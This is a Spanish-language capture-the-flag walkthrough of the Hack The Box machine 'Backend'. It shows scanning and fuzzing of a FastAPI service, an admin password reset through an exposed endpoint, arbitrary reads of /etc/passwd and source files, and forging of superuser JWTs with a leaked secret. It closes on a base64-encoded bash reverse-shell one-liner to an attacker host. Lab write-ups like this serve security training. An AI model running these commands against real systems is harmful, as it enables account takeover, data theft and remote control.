Backend
13 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.161
- Fecha: 12 / 04 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.161 -p 22,80
Nmap scan report for 10.10.11.161
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http uvicorn
|_http-server-header: uvicorn
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| content-type: text/plain; charset=utf-8
| Connection: close
| Invalid HTTP request received.
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| date:
| server: uvicorn
| content-length: 22
| content-type: application/json
| Connection: close
| {"detail":"Not Found"}
| GetRequest:
| HTTP/1.1 200 OK
| date:
| server: uvicorn
| content-length: 29
| content-type: application/json
| Connection: close
| {"msg":"UHC API Version 1.0"}
| HTTPOptions:
| HTTP/1.1 405 Method Not Allowed
| date:
| server: uvicorn
| content-length: 31
| content-type: application/json
| Connection: close
|_ {"detail":"Method Not Allowed"}
|_http-title: Site doesn't have a title (application/json).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 80.81 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
La máquina aloja una API, podemos interactuar con ella directamente desde línea de comandos con curl
:
$ curl 10.10.11.161
{"msg":"UHC API Version 1.0"}
$ curl -i 10.10.11.161
HTTP/1.1 200 OK
date:
server: uvicorn
content-length: 29
content-type: application/json
{"msg":"UHC API Version 1.0"}
Está montada con uvicorn
. Si aplicamos fuzzing, veremos dos rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.161/FUZZ
docs [Status: 401, Size: 30, Words: 2, Lines: 1, Duration: 204ms]
api [Status: 200, Size: 20, Words: 1, Lines: 1, Duration: 155ms]
[Status: 200, Size: 29, Words: 4, Lines: 1, Duration: 198ms]
Enumeración de API
No tenemos acceso a la ruta /docs
:
$ curl -i 10.10.11.161/docs
HTTP/1.1 401 Unauthorized
date:
server: uvicorn
www-authenticate: Bearer
content-length: 30
content-type: application/json
{"detail":"Not authenticated"}
Y por otro lado, /api
muestra una ruta más:
$ curl -i 10.10.11.161/api
HTTP/1.1 200 OK
date:
server: uvicorn
content-length: 20
content-type: application/json
{"endpoints":["v1"]}
Y dos rutas más:
$ curl -i 10.10.11.161/api/v1
HTTP/1.1 200 OK
date:
server: uvicorn
content-length: 30
content-type: application/json
{"endpoints":["user","admin"]}
Pero no podemos acceder directamente:
$ curl -i 10.10.11.161/api/v1/user
HTTP/1.1 404 Not Found
date:
server: uvicorn
content-length: 22
content-type: application/json
{"detail":"Not Found"}
$ curl -i 10.10.11.161/api/v1/admin
HTTP/1.1 307 Temporary Redirect
date:
server: uvicorn
location: http://10.10.11.161/api/v1/admin/
Transfer-Encoding: chunked
$ curl -i 10.10.11.161/api/v1/admin/
HTTP/1.1 401 Unauthorized
date:
server: uvicorn
www-authenticate: Bearer
content-length: 30
content-type: application/json
{"detail":"Not authenticated"}
Podemos tratar de aplicar fuzzing para ver más rutas aunque no tengamos permiso:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.161/api/v1/admin/FUZZ
file [Status: 405, Size: 31, Words: 3, Lines: 1, Duration: 115ms]
$ curl -iX POST 10.10.11.161/api/v1/admin/file
HTTP/1.1 401 Unauthorized
date:
server: uvicorn
www-authenticate: Bearer
content-length: 30
content-type: application/json
{"detail":"Not authenticated"}
Vemos que necesitamos autenticación, probablemente basada en JSON Web Token (JWT) debido a la cabecera de respuesta www-authenticate: Bearer
.
Como necesitamos autenticarnos, tenemos que encontrar una manera de crear una cuenta. Vemos que /api/v1/user/asdf
responde con información útil (de hechom cualquier palabra puesta después de /api/v1/user/
):
$ curl -i 10.10.11.161/api/v1/user/asdf
HTTP/1.1 422 Unprocessable Entity
date:
server: uvicorn
content-length: 104
content-type: application/json
{"detail":[{"loc":["path","user_id"],"msg":"value is not a valid integer","type":"type_error.integer"}]}
$ curl -s 10.10.11.161/api/v1/user/asdf | jq
{
"detail": [
{
"loc": [
"path",
"user_id"
],
"msg": "value is not a valid integer",
"type": "type_error.integer"
}
]
}
Este error nos dice que el valor indicado no es un número entero. Por tanto, vamos a probar con un número:
$ curl -i 10.10.11.161/api/v1/user/1
HTTP/1.1 200 OK
date:
server: uvicorn
content-length: 141
content-type: application/json
{"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","email":"admin@htb.local","date":null,"time_created":1649533388111,"is_superuser":true,"id":1}
$ curl -s 10.10.11.161/api/v1/user/1 | jq
{
"guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
"email": "admin@htb.local",
"date": null,
"time_created": 1649533388111,
"is_superuser": true,
"id": 1
}
Con esto, vemos que existen usuarios registrados en la API (enumeración de usuarios). Vamos a tratar de registrarnos.
Registrando una nueva cuenta
El método HTTP usual para realizar esta acción en una API es POST:
$ curl -iX POST 10.10.11.161/api/v1/user/signup
HTTP/1.1 422 Unprocessable Entity
date:
server: uvicorn
content-length: 81
content-type: application/json
{"detail":[{"loc":["body"],"msg":"field required","type":"value_error.missing"}]}
$ curl -sX POST 10.10.11.161/api/v1/user/signup | jq
{
"detail": [
{
"loc": [
"body"
],
"msg": "field required",
"type": "value_error.missing"
}
]
}
Este error es evidente porque no hemos puesto ningún cuerpo de petición. Vamos a usar un documento JSON vacío:
$ curl 10.10.11.161/api/v1/user/signup -d '{}' -sH 'Content-Type: application/json' | jq
{
"detail": [
{
"loc": [
"body",
"email"
],
"msg": "field required",
"type": "value_error.missing"
},
{
"loc": [
"body",
"password"
],
"msg": "field required",
"type": "value_error.missing"
}
]
}
Y aquí vemos los campos requeridos: email
y password
. Ahora podemos crear la cuenta:
$ curl 10.10.11.161/api/v1/user/signup -d '{"email":"7rocky@htb.local","password":"asdffdsa"}'' -sH 'Content-Type: application/json' | jq
{}
No hay respuesta, pero podemos asumir que la cuenta se ha creado. Vamos a intentar iniciar sesión:
$ curl 10.10.11.161/api/v1/user/login -d '{"email":"7rocky@htb.local","password":"asdffdsa"}'' -sH 'Content-Type: application/json' | jq
{
"detail": [
{
"loc": [
"body",
"username"
],
"msg": "field required",
"type": "value_error.missing"
},
{
"loc": [
"body",
"password"
],
"msg": "field required",
"type": "value_error.missing"
}
]
}
Este error dice que email
debería ser reemplazado por username
. Pero tampoco funciona:
$ curl 10.10.11.161/api/v1/user/login -d '{"username":"7rocky@htb.local","password":"asdffdsa"}'' -sH 'Content-Type: application/json' | jq
{
"detail": [
{
"loc": [
"body",
"username"
],
"msg": "field required",
"type": "value_error.missing"
},
{
"loc": [
"body",
"password"
],
"msg": "field required",
"type": "value_error.missing"
}
]
}
Vamos a cambiar el formato del cuerpo a application/x-www-form-urlencoded
(el formato por defecto en curl
):
$ curl 10.10.11.161/api/v1/user/login -sd 'username=7rocky@htb.local&password=asdffdsa' | jq
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjpmYWxzZSwiZ3VpZCI6IjE0YWFhNmRlLTJkMDktNDRiZi1iZDRjLTQ1OTU1MzFhNzIxMiJ9.6Utga3uFcK8GO8oAX81jC2mrFZEal9QoyhH1OJMPYfg",
"token_type": "bearer"
}
Y ahí tenemos el token JWT. Vamos a decodificarlo en jwt.io:
Hay una clave llamada is_superuser
, que está en false
. Parece claro que tenemos que generar un token que tenga is_superuser
en true
.
Leyendo la documentación
Vamos a ver la ruta /docs
usando el token:
$ curl 10.10.11.161/docs -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjpmYWxzZSwiZ3VpZCI6IjE0YWFhNmRlLTJkMDktNDRiZi1iZDRjLTQ1OTU1MzFhNzIxMiJ9.6Utga3uFcK8GO8oAX81jC2mrFZEal9QoyhH1OJMPYfg'
<!DOCTYPE html>
<html>
<head>
<link type="text/css" rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui.css">
<link rel="shortcut icon" href="https://fastapi.tiangolo.com/img/favicon.png">
<title>docs</title>
</head>
<body>
<div id="swagger-ui">
</div>
<script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui-bundle.js"></script>
<!-- `SwaggerUIBundle` is now available on the page -->
<script>
const ui = SwaggerUIBundle({
url: '/openapi.json',
"dom_id": "#swagger-ui",
"layout": "BaseLayout",
"deepLinking": true,
"showExtensions": true,
"showCommonExtensions": true,
presets: [
SwaggerUIBundle.presets.apis,
SwaggerUIBundle.SwaggerUIStandalonePreset
],
})
</script>
</body>
</html>
Para ver esta respuesta en el navegador, podemos usar Burp Suite para interceptar la petición, poner la cabecera Authorization
y renderizar el contenido de la respuesta en Burp Suite (Repeater):
Aquí hay un error al solicitar openapi.json
porque la cabecera Authorization
no está configurada para esa petición en particular. En su lugar, podemos descargar el archivo con curl
:
$ curl 10.10.11.161/openapi.json -o openapi.json -sH 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjpmYWxzZSwiZ3VpZCI6IjE0YWFhNmRlLTJkMDktNDRiZi1iZDRjLTQ1OTU1MzFhNzIxMiJ9.6Utga3uFcK8GO8oAX81jC2mrFZEal9QoyhH1OJMPYfg'
Y luego lo importamos en Swagger:
Y estas son todas las rutas disponibles:
En este punto, podemos ver la flag user.txt
con una petición PUT a /api/v1/user/SecretFlagEndpoint
:
$ curl -X PUT 10.10.11.161/api/v1/user/SecretFlagEndpoint
{"user.txt":"50b343d5b2d4d836abdc7320b87ee384"}
Acceso a la máquina
Hay una ruta /api/v1/user/updatepass
que solamente necesita unos pocos parámetros:
Obteniendo un usuario privilegiado
Solo el guid
y la nueva contraseña (password
). A lo mejor somos capaces de cambiar la contraseña de admin
(su guid
es 36c2e94a-4271-4259-93bf-c96ad5948284
):
$ curl -s 10.10.11.161/api/v1/user/1 | jq
{
"guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
"email": "admin@htb.local",
"date": null,
"time_created": 1649533388111,
"is_superuser": true,
"id": 1
}
$ curl 10.10.11.161/api/v1/user/updatepass -d '{"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","password":"asdffdsa"}' -sH 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjpmYWxzZSwiZ3VpZCI6IjE0YWFhNmRlLTJkMDktNDRiZi1iZDRjLTQ1OTU1MzFhNzIxMiJ9.6Utga3uFcK8GO8oAX81jC2mrFZEal9QoyhH1OJMPYfg' | jq
{
"date": null,
"id": 1,
"is_superuser": true,
"hashed_password": "$2b$12$Fqdwt6M5VTxcCM3VSxctwe3o5IUhuWSnSeOHvxNd8GPgUxzW1XoqS",
"guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
"email": "admin@htb.local",
"time_created": 1649533388111,
"last_update": null
}
Y ahora podemos iniciar sesión como admin
, tenemos su token JWT:
$ curl 10.10.11.161/api/v1/user/login -sd 'username=admin@htb.local&password=asdffdsa' | jq
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjg0MDU2LCJpYXQiOjE2NDk5OTI4NTYsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.P6m26MR7TVwHLU2dgH4v4UA3L-6z0Mrc_3eMz-Ggcvw",
"token_type": "bearer"
}
Hay una ruta que permite a los usuarios privilegiados ejecutar comandos:
Vamos a probar pues:
$ curl 10.10.11.161/api/v1/admin/exec/whoami -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjg0MDU2LCJpYXQiOjE2NDk5OTI4NTYsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.P6m26MR7TVwHLU2dgH4v4UA3L-6z0Mrc_3eMz-Ggcvw'
{"detail":"Debug key missing from JWT"}
Pero aún no podemos, necesitamos añadir una clave debug
en el token JWT para habilitar la ejecución de comandos.
Leyendo archivos del servidor
Hay otra ruta interesante que permite leer archivos del servidor (la vimos antes con ffuf
):
Este es el archivo /etc/passwd
:
$ curl 10.10.11.161/api/v1/admin/file -d '{"file":"/etc/passwd"}' -H 'Content-Type: application/json' -sH 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjg0MDU2LCJpYXQiOjE2NDk5OTI4NTYsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.P6m26MR7TVwHLU2dgH4v4UA3L-6z0Mrc_3eMz-Ggcvw'
{"file":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:106::/nonexistent:/usr/sbin/nologin\nsyslog:x:104:110::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:112::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:113::/nonexistent:/usr/sbin/nologin\npollinate:x:110:1::/var/cache/pollinate:/bin/false\nusbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nsshd:x:112:65534::/run/sshd:/usr/sbin/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\nhtb:x:1000:1000:htb:/home/htb:/bin/bash\nlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\n"}
Podemos poner el token JWT en una variable y usar jq
para extraer el contenido del archivo solicitado, por comodidad:
$ token='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjg0MDU2LCJpYXQiOjE2NDk5OTI4NTYsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.P6m26MR7TVwHLU2dgH4v4UA3L-6z0Mrc_3eMz-Ggcvw'
$ curl 10.10.11.161/api/v1/admin/file -d '{"file":"/etc/passwd"}' -H 'Content-Type: application/json' -sH "Authorization: Bearer $token" | jq -r .file
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
htb:x:1000:1000:htb:/home/htb:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
Además, podemos crear una función en Bash llamada get_file
que tome la ruta del archivo y muestre su contenido:
$ function get_file() { curl 10.10.11.161/api/v1/admin/file -d "{\"file\":\"$1\"}" -H 'Content-Type: application/json' -sH "Authorization: Bearer $token" | jq -r .file 2>/dev/null; }
Aquí tenemos user.txt
otra vez:
$ get_file /home/htb/user.txt
50b343d5b2d4d836abdc7320b87ee384
No hay clave privada de SSH disponible:
$ get_file /home/htb/.ssh/id_rsa
Internal Server Error
En este punto, tenemos que encontrar el código fuente de la API. Como podemos leer archivos arbitrarios del servidor, podemos enumerar cómo se están ejecutando los procesos en /proc/<PID>/cmdline
, por lo que vamos a ver algunos:
$ for i in {1..1000}; do echo -n "$i: "; get_file /proc/$i/cmdline; echo; done | grep -a ': .' | grep -av Error
1: /sbin/initmaybe-ubiquity
478: /lib/systemd/systemd-journald
506: /lib/systemd/systemd-udevd
508: /lib/systemd/systemd-networkd
591: /sbin/multipathd-d-s
592: /sbin/multipathd-d-s
593: /sbin/multipathd-d-s
594: /sbin/multipathd-d-s
595: /sbin/multipathd-d-s
596: /sbin/multipathd-d-s
597: /sbin/multipathd-d-s
610: /lib/systemd/systemd-timesyncd
622: /usr/bin/VGAuthService
625: /usr/bin/vmtoolsd
644: /sbin/dhclient-1-4-v-i-pf/run/dhclient.ens160.pid-lf/var/lib/dhcp/dhclient.ens160.leases-I-df/var/lib/dhcp/dhclient6.ens160.leasesens160
645: /sbin/dhclient-1-4-v-i-pf/run/dhclient.ens160.pid-lf/var/lib/dhcp/dhclient.ens160.leases-I-df/var/lib/dhcp/dhclient6.ens160.leasesens160
646: /sbin/dhclient-1-4-v-i-pf/run/dhclient.ens160.pid-lf/var/lib/dhcp/dhclient.ens160.leases-I-df/var/lib/dhcp/dhclient6.ens160.leasesens160
647: /sbin/dhclient-1-4-v-i-pf/run/dhclient.ens160.pid-lf/var/lib/dhcp/dhclient.ens160.leases-I-df/var/lib/dhcp/dhclient6.ens160.leasesens160
649: /usr/lib/accountsservice/accounts-daemon
650: /usr/bin/dbus-daemon--system--address=systemd:--nofork--nopidfile--systemd-activation--syslog-only
655: /usr/lib/accountsservice/accounts-daemon
658: /usr/sbin/irqbalance--foreground
659: /usr/bin/python3/usr/bin/networkd-dispatcher--run-startup-triggers
660: /usr/lib/policykit-1/polkitd--no-debug
661: /usr/sbin/rsyslogd-n-iNONE
663: /usr/lib/policykit-1/polkitd--no-debug
666: /lib/systemd/systemd-logind
667: /usr/sbin/irqbalance--foreground
668: /usr/lib/udisks2/udisksd
669: /usr/sbin/runuser-uhtb--/home/htb/uhc/run.sh
673: /usr/sbin/rsyslogd-n-iNONE
674: /usr/sbin/rsyslogd-n-iNONE
675: /usr/sbin/rsyslogd-n-iNONE
688: /usr/lib/udisks2/udisksd
691: /home/htb/uhc/.venv/bin/python3/home/htb/uhc/.venv/bin/uvicorn--reload--host0.0.0.0--port80app.main:app
697: /usr/lib/policykit-1/polkitd--no-debug
698: /usr/lib/accountsservice/accounts-daemon
699: /usr/lib/udisks2/udisksd
702: /usr/sbin/ModemManager
708: /usr/bin/vmtoolsd
709: /usr/bin/vmtoolsd
712: /usr/lib/udisks2/udisksd
715: /usr/sbin/ModemManager
719: /usr/sbin/ModemManager
720: /usr/lib/udisks2/udisksd
725: /home/htb/uhc/.venv/bin/python3-cfrom multiprocessing.resource_tracker import main;main(4)
726: /home/htb/uhc/.venv/bin/python3-cfrom multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe_handle=7)--multiprocessing-fork
727: /lib/systemd/systemd-timesyncd
729: /usr/bin/vmtoolsd
796: /lib/systemd/systemd-resolved
837: /usr/sbin/cron-f
841: /usr/bin/python3/usr/share/unattended-upgrades/unattended-upgrade-shutdown--wait-for-signal
842: /usr/sbin/atd-f
843: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
854: /sbin/agetty-o-p -- \u--nocleartty1linux
857: /usr/bin/python3/usr/share/unattended-upgrades/unattended-upgrade-shutdown--wait-for-signal
Aquí tenemos algunos comandos interesantes. Tenemos que formatearlos (existen bytes nulos, que tenemos que cambiar por espacios en blanco):
669: /usr/sbin/runuser -u htb -- /home/htb/uhc/run.sh
691: /home/htb/uhc/.venv/bin/python3 /home/htb/uhc/.venv/bin/uvicorn --reload --host 0.0.0.0 --port 80 app.main:app
725: /home/htb/uhc/.venv/bin/python3 -c from multiprocessing.resource_tracker import main;main(4)
726: /home/htb/uhc/.venv/bin/python3 -c from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe_handle=7) --multiprocessing-fork
De hecho, el proceso importante es el de PID 669, que ejecuta un script /home/htb/uhc/run.sh
:
$ get_file /home/htb/uhc/run.sh
#!/bin/bash
cd /home/htb/uhc
source .venv/bin/activate
export APP_MODULE=${APP_MODULE-app.main:app}
export HOST=${HOST:-0.0.0.0}
export PORT=${PORT:-80}
python3 populateauth.py
exec uvicorn --reload --host $HOST --port $PORT "$APP_MODULE"
Esto puede ser algo confuso, ya que no hay ningún archivo Python que se esté ejecutando con uvicorn
(que es un framework de Python). Hay una referencia a un módulo llamado app.main
. En Python, esto se traduce en app/main.py
:
$ get_file /home/htb/uhc/app/main.py
# ...
from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings
from app import deps
from app import crud
app = FastAPI(title="UHC API Quals", openapi_url=None, docs_url=None, redoc_url=None)
root_router = APIRouter(default_response_class=UJSONResponse)
@app.get("/", status_code=200)
def root():
"""
Root GET
"""
return {"msg": "UHC API Version 1.0"}
@app.get("/api", status_code=200)
def list_versions():
"""
Versions
"""
return {"endpoints":["v1"]}
@app.get("/api/v1", status_code=200)
def list_endpoints_v1():
"""
Version 1 Endpoints
"""
return {"endpoints":["user", "admin"]}
@app.get("/docs")
async def get_documentation(
current_user: User = Depends(deps.parse_token)
):
return get_swagger_ui_html(openapi_url="/openapi.json", title="docs")
@app.get("/openapi.json")
async def openapi(
current_user: User = Depends(deps.parse_token)
):
return get_openapi(title = "FastAPI", version="0.1.0", routes=app.routes)
app.include_router(api_router, prefix=settings.API_V1_STR)
app.include_router(root_router)
def start():
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")
if __name__ == "__main__":
# Use this for debugging purposes only
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")
Aquí hay una referencia a otro módulo para importar settings
(aquí deberíamos encontrar la clave secreta para la implementación de JWT). Este se llama app.core.config
, por lo que el archivo que queremos es app/core/config.py
:
$ get_file /home/htb/uhc/app/core/config.py
from pydantic import AnyHttpUrl, BaseSettings, EmailStr, validator
from typing import List, Optional, Union
from enum import Enum
class Settings(BaseSettings):
API_V1_STR: str = "/api/v1"
JWT_SECRET: str = "SuperSecretSigningKey-HTB"
ALGORITHM: str = "HS256"
# 60 minutes * 24 hours * 8 days = 8 days
ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8
# BACKEND_CORS_ORIGINS is a JSON-formatted list of origins
# e.g: '["http://localhost", "http://localhost:4200", "http://localhost:3000", \\
# "http://localhost:8080", "http://local.dockertoolbox.tiangolo.com"]'
BACKEND_CORS_ORIGINS: List[AnyHttpUrl] = []
@validator("BACKEND_CORS_ORIGINS", pre=True)
def assemble_cors_origins(cls, v: Union[str, List[str]]) -> Union[List[str], str]:
if isinstance(v, str) and not v.startswith("["):
return [i.strip() for i in v.split(",")]
elif isinstance(v, (list, str)):
return v
raise ValueError(v)
SQLALCHEMY_DATABASE_URI: Optional[str] = "sqlite:///uhc.db"
FIRST_SUPERUSER: EmailStr = "root@ippsec.rocks"
class Config:
case_sensitive = True
settings = Settings()
Y ahí tenemos la clave utilizada para firmar los tokens JWT (SuperSecretSigningKey-HTB
). Ahora podemos modificar el token que teníamos y poner is_superuser
en true
y añadir debug
usando jwt.io:
Podemos ejecutar comandos con este token:
$ curl '10.10.11.161/api/v1/admin/exec/whoami' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiMTRhYWE2ZGUtMmQwOS00NGJmLWJkNGMtNDU5NTUzMWE3MjEyIiwiZGVidWciOnRydWV9.SDcrNRgb2R7ojSUmAwzRFsO-_UTVgIQAZOEyLfgU98A'
"htb"
Para usar espacios, tenemos que ponerlo en codificación URL (%20
):
$ curl '10.10.11.161/api/v1/admin/exec/uname%20-a' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiMTRhYWE2ZGUtMmQwOS00NGJmLWJkNGMtNDU5NTUzMWE3MjEyIiwiZGVidWciOnRydWV9.SDcrNRgb2R7ojSUmAwzRFsO-_UTVgIQAZOEyLfgU98A'
"Linux Backend 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux"
Obteniendo una reverse shell
Vamos a conseguir una reverse shell en la máquina:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
